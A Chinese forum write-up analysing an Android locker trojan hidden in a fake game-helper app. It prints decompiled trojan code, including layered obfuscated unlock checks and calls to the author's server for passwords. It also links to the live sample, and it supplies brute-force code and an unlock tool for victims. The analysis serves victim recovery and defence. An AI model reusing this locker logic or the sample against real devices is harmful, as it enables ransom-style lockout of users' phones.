新型联网安卓多层锁机木马分析
新型联网安卓多层锁机木马分析
作者:云在天(Harry_孙) 吾爱**论坛首发
所用工具
- 安卓模拟器
- Eclipse
- JEB2
- Android killer
样本信息
文件名称:刺激战场盒子.apk
文件大小:14.67MB
MD5值: 05ba07c1c017b7f7725025514241c403
释放木马路径:/system/app/bx.apk
哈勃分析链接:https://habo.qq.com/file/showdetail?md5=05ba07c1c017b7f7725025514241c403
样本来源:
手机锁机了。求助。
https://www.52pojie.cn/thread-709946-1-1.html
(出处: 吾爱**论坛)
样本下载地址: https://pan.baidu.com/s/1rAm0tBQDINWUIxpD8s_f7A 密码: 87dt
行为分析
这个木马是以一个软件【刺激战场盒子】为载体,请求Root权限后,释放的锁机病毒。我们直接在模拟器里安装运行,授权,让他释放这个病毒,释放路径为:system/app/bx.apk然后用adb pull命令提取到电脑上,分析。
附运行后截图:
PS:因为背景图违法相关规定,这里的背景图已去除
这里我们就大致知道是一个根据生成的识别码来计算解锁密码的程序,接下来我们反编译
反编译
- 确定入口:把APK文件拖入【Android killer】中,等待加载完成就可以看到入口点了。
- 反编译Dex文件:把classes.dex解压出来,用JEB2打开,找到刚才Android Killer提示的入口类,主要代码如下
@Override protected void onCreate(Bundle arg14) {
Class v8;
MainActivity v0 = this;
LogCatBroadcaster.start(v0);
super.onCreate(arg14);
Intent v5 = null;
Intent v6 = null;
MainActivity v7 = v0;
try {
v8 = Class.forName("lengmo.lockphone.lock");
//上面初始化lengmo.lockphone.lock这个类
}
catch(ClassNotFoundException v5_1) {
throw new NoClassDefFoundError(v5_1.getMessage());
}
super(((Context)v7), v8);
//访问这个前面初始化的类
v5.addFlags(268435456);
v0.startService(v5);
v0.finish();
}
从上面可以看到这里跳转到lengmo.lockphone.lock类,我们继续往下分析这个类
3. 分析lengmo.lockphone.lock
首先定义了如下变量供加解密调用
private String INTERNET;
private String READ_SMS;
private a cold;
private b des;
private Handler handler;
private boolean isneedAdd;
String leng;
private windows lm;
private int lock2xl;
private int lock3xl;
int lock4xl;
private int lockxl;
String mm;
private Runnable r;
private static final String sssz = "57724485ccdb969591f26fc30d622e6f7d7478bb";
private boolean user_first;
public lock() {
super();
this.isneedAdd = true;//这个变量是需不需要开启,无用变量。
this.handler = new Handler();
}
变量定义完了我们继续看onCreate这个函数
先来科普下这个函数
OnCreate是Android中的一个特别的函数,用来“表示一个窗口正在生成”。其不产生窗口,只是在窗口显示前设置窗口的属性如风格、位置颜色等。
@Override public void onCreate() {
lock v0 = this;
v0.getApplication().getSystemService("vibrator").vibrate(new long[]{((long)100), ((long)1500), ((long)100), ((long)1500)}, 0);
v0.lm = new windows(v0);
v0.cold = new a();
v0.des = new b("android冷漠");
lock v4 = v0;
try {
v4.des = new b(v0.des.decrypt("29fccbc3087bf0b81a6581d086a728af"));
}
catch(Exception v4_1) {
v4_1.printStackTrace();
}
if(v0.isneedAdd) {
v0.yi();
v0.isneedAdd = false;
}
}
上面初始化了几个类,里面就有Des加密等类。这里稍微讲一下Des加密过程
des对称加密,对称加密,是一种比较传统的加密方式,其加密运算、解密运算使用的是同样的**,信息的发送者和信息的接收者在进行信息的传输与处理时,必须共同持有该密码(称为对称密码),是一种对称加密算法。
一般进行加解密过程都要初始化**处理。
v0.des = new b("android冷漠");
这段的意思是用【android冷漠】作为变量初始化**
v4.des = new b(v0.des.decrypt("29fccbc3087bf0b81a6581d086a728af"));
因为前面已经让v4=v0所以这里的v4.dex=v0.dex还是把第一次初始化后的DES类加密一串文本作为**进行二次初始化
然后执行yi()这个函数,我们跳到函数处
还是定义了一些变量,这里只贴主要的变量名
this.lockxl = ((int)(Math.random() * (((double)10000))));//生成一个随机数,长度为5位
v4.setText(b.get(String.valueOf(this.lockxl)));//通过b.get的方法生成随机码,就是混淆过后的lockx1,显示到前台
v2.setOnClickListener(new 100000000(this, v3));//监听按钮
解释都在代码里,自己看吧。我们跳到监听的按钮处
@Override public void onClick(View arg14) {
100000000 v0 = this;
String v2 = v0.val$sr.getText().toString();//获取我们输入的内容
if(v2.length() >= 3) {
String v3 = v0.this$0.SHA1Encrypt(v0.this$0.Md5Encrypt(String.valueOf(v0.this$0.lockxl))).replaceAll("\\D+", "");//以生成的随机数为变量通过MD5加密,SHA1加密等方法并替换指定的字符串生成变量以供下面对比
if(v3.length() > 9 && v3.length() > 3 && (new StringBuffer().append(v0.this$0.SHA1Encrypt(v0.this$0.Md5Encrypt(v0.this$0.SHA1Encrypt(v2.substring(0, 3))))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("57724485ccdb969591f26fc30d622e6f7d7478bb").append(v3.substring(0, 4)).toString()))) {//这里是通过对比各种方法生成的字符串和输入的字符串对比
v0.this$0.lm.removeView();//移除这个浮窗
v0.this$0.er();//执行er()这个函数
}
}
因为我们并没有办法解密MD5和SHA1加密后的值,这里只能通过穷举的办法来得到,这里穷举的时候要注意的是,一般先从数字开始,如果不可以的话就尝试字母,然后混合,最后是汉字。当然这个地方是数字。
附上穷举的代码
for(int i=100;i<99999999;i++)//这里要注意,从100开始,因为下面对比的时候取得是取前三位,如果设定为0会取不到
{
v2=String.valueOf(i);
if(new StringBuffer().append(SHA1Encrypt(Md5Encrypt(SHA1Encrypt(v2.substring(0, 3))))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("57724485ccdb969591f26fc30d622e6f7d7478bb").append(v3.substring(0, 4)).toString()))
{
System.out.println("第一层解锁密码为:"+v2);
break;
}
}
这样第一层密码就算出来了
我们继续看er()这个函数
依旧是定义了一个随机数,然后显示了随机码,这里就不贴了,直接看监听的函数
@Override public void onClick(View arg15) {
100000001 v0 = this;
try {
BugEDUtils v2 = new BugEDUtils();//初始化了一个类,这个类和a这个类雷同,属于二进制加密(其实我也不知道应该叫什么)
BugEDUtils.l = c.decrypt(e.decry_RC4(b.get(a.decode1(b.set(b.set("※FF©E※※※F※E★※额CFF嗯嗯囍嗯※嗯BAFC额※FF©E※嗯囍嗯E※FF©E※嗯F※额CFF嗯※哦D啊EC※※FECB※额CFF嗯※FEDD®※FEDD®※FEDD®AFC额AFC额※额CFF嗯※FEDD®嗯囍嗯F嗯F嗯※※FEDD®嗯※嗯E嗯EAFC!嗯E嗯B嗯F※※F®E嗯※※FAC哦嗯F※※FAC哦嗯囍※※F※E★嗯C嗯E嗯囍AFC额※※F®E嗯嗯囍※※F®E嗯AFC额嗯F※FF©E※嗯C嗯※※※F®E嗯※FEDD®嗯EAFC额※※FECB嗯C※※F※E★※※FECB※※FAC哦嗯※AFC!")))), new String(v0.this$0.cold.m(b.set(lock.asciiToString("90,76,119,87,76,65,65,66,78,120,8251,121,80,122,115,84,76,120,74,101")).getBytes()))), v0.this$0.des.decrypt(b.set(lock.asciiToString("21999,21834,100,101,100,9733,101,22221,99,21999,100,169,169,21834,97,101"))));//解密一个RC4加密的值
URLConnection v3 = new URL(new String(v2.m("EvE5p0JEQ924ukVCRbohoUajIqEhIiCgviakor8ixL1BxEI8aG2+gGYt".getBytes())).replace("\"", "")).openConnection();//连接一个网址
v3.setConnectTimeout(5000);
v3.setRequestMethod("GET");
v0.this$0.mm = new BufferedReader(new InputStreamReader(v3.getInputStream())).readLine();//mm=网页返回的值
}
catch(Exception v7) {
v0.this$0.mm = "6c5986d9bb757d8bcb1ad23692b72f1c";//如果网页出错,就特定的值
}
if(v0.this$0.Md5Encrypt(v0.this$0.SHA1Encrypt(v0.this$0.SHA1Encrypt(v0.this$0.Md5Encrypt(v0.val$be.getText().toString())))).equals(v0.this$0.mm)) {//对比
v0.this$0.lm.removeView();//移除
v0.this$0.san();//执行san函数
}
}
}
这就是网络验证的一部分,木马作者可以随时通过修改网页内容改变密码的值
附上第二层解锁的源码
for(int j=0;j<999999999;j++) {
password=String.valueOf(j);
if(Md5Encrypt(SHA1Encrypt(SHA1Encrypt(Md5Encrypt(password)))).equals(mm))//这里这个mm的值在前面要计算好,其实测试的时候这里返回的是无法联网的那个值 {
System.out.println("第二层解锁密码为:"+password);
break;
}
}
我们继续看san这个函数,直接看监听的函数
@Override public void onClick(View arg14) {
100000002 v0 = this;
String v2 = v0.val$be.getText().toString();
String v3 = b.set("XHBiW囍Rb囍mBc★额囍UiahiAFEt!©xUdWbNkJKjO©cNCteX囍yhAsxdE+★NHBBsoKBLBIACABkQwFwJe");
String v5 = "※rCew※yekWumfpMLdzy嗯DnO※rPjaUNzX额©WM★M++/MzqHwkuaHtjn啊mCZvy额Ki嗯Kt/AFtdlNsEBaHFfhQi®VNJ啊PsTIhwRq+ye!QIADwNscjlyJe";
String v8 = "5C5C5B090C0F0E0E0B5E0C0E5B580F0F5D0B5D5B5E5D5F5D0E0B5B080F0F5C540F085E5C55590B540C0B0F5F";
try {
String v4 = lock.asciiToString(new String(v0.this$0.cold.m(b.set(e.decry_RC4(a.decode1(v8), v0.this$0.des.decrypt(a.decode1(b.set("囍©※嗯额©B嗯囍©※©E嗯E©囍©※©F嗯※嗯F©囍嗯F©D©"))))).getBytes())));
v3 = lock.asciiToString(c.decrypt(e.decry_RC4(new String(v0.this$0.cold.m(v3.getBytes())), v4), a.decode1(b.set(c.decrypt(b.set("FAB®©E额E®!BD啊★©D哦D啊!©哦哦C®哦BA©嗯FD®※D啊★B®©哦DA※CABF®F囍®额!CA®CFB※嗯※额"), b.set(lock.asciiToString(b.set(a.decode1("88F6E088F6E04188FAC288F8E788F8E74188F6E088FAC288F8E74188F6E088FAC288F8E74188FECB88F8E788F8E7")))))))));
v5 = b.set(lock.asciiToString(b.set(c.decrypt(a.decode1(new String(v0.this$0.cold.m(b.set(v5).getBytes()))), c.decrypt(v0.this$0.des.decrypt(b.set(lock.asciiToString("65281,102,65281,22221,97,22221,98,97,65281,21999,65281,22221,9733,22221,102,21999,8251,9733,65281,169,9733,21834,39069,21834,39069,101,97,101,22221,21834,8251,98,9733,100,174,99,65281,9733,39069,9733,22221,39069,39069,22221,169,100,65281,65281,21734,100,9733,174,39069,9733,169,21734,169,9733,100,9733,21999,97,9733,8251,102,169,39069,8251,102,65281,8251,21734,9733,102,102,174,97,98,101,99"))), a.decode1(lock.asciiToString(b.set("额©,※额,囍®,※额,嗯©,※额,囍额,※额"))))))));
v0.U = Integer.valueOf(v4).intValue();
v0.V = Integer.valueOf(v3).intValue();
v0.W = Integer.valueOf(v5).intValue();
}
catch(Exception v8_1) {
}
if(v2.equals(String.valueOf(v0.this$0.lock3xl + v0.W - v0.U))) {
v0.this$0.lm.removeView();
v0.this$0.si();
}
}
}
可以看到很长,很复杂,这里耍个小聪明,只要把这段复制到Eclipse里就好了,无论写的多复杂,这里不需要穷举,直接可以通过生成的随机码加减参数来获取解锁码。源码就不贴了,上面改一下就是了
接下来看最后一个si
直接看监听
@Override public void onClick(View arg10) {
100000003 v0 = this;
if(v0.val$be.getText().toString().equals(v0.this$0.leng)) {
v0.this$0.getSharedPreferences("FUCKLOCK", 0).edit().putBoolean("jc", true).commit();
v0.this$0.lm.removeView();
v0.this$0.stopSelf();
}
}
这是最简单的一个了,直接对比和leng的值来判断,我们找一下在什么地方给leng赋值
@Override public void run() {
100000004 v0 = this;
try {
URLConnection v2 = new URL(lock.asciiToString(b.set("94,05,35,94,25,25,74,121,411,611,011,101,74,901,111,99,64,111,901,101,001,111,911,64,701,99,111,801,99,711,201,74,74,85,511,211,611,611,401"))).openConnection();
v2.setRequestMethod("GET");
v2.setConnectTimeout(5000);
v2.setRequestProperty("User-Agent", "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; sv1; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Shuame");
if(v2.getResponseCode() == 200) {
String v4 = lock.matcher(lock.readInputStream(v2.getInputStream()), "《无心.+?无心》")[0];
v0.this$0.leng = v4.substring(v4.indexOf("《无心") + 3, v4.indexOf("无心》")).replaceAll("《无心", "").replaceAll("无心》", "");
}
v2.disconnect();
}
catch(IOException v6) {
v0.this$0.leng = c.decrypt(c.decrypt("B6281111C2AE38EB795259609EB4A34D68E94B22F5E521EB91B85320D18FAEE63EB0156D58D4F90B7D4F512C0F980EB3", a.decode1("1E041C180C0307040C")), lock.asciiToString("112,111,106,105,101,122,104,101"));
v6.printStackTrace();
}
}
}
这里还是分两种情况
网址可以访问的情况下:访问https://fuclock.wodemo.com/entry/441521
获取内容,然后通过正则,获取密码,然后给leng赋值
网址不可以访问:使用默认的值给leng赋值
分析到现在,就解除了这个木马
善后工作
解除浮窗后,可以通过各种卸载内置应用的工具卸载掉这个APK
解锁工具
使用方法
- 确保自己电脑上装有java环境,具体百度搜索【Java环境配置】
- 解压压缩包,运行里面的Run.bat批处理
- 打开一个记事本,把密码字符串复制进去,供复制使用
- 输入随机码,一步一步解锁
下载地址: https://pan.baidu.com/s/1MNa9pHff5hjwymSRGUyCyw 密码: f54h
切记 不要贪小便宜!!!!!!!!!!!!
推荐阅读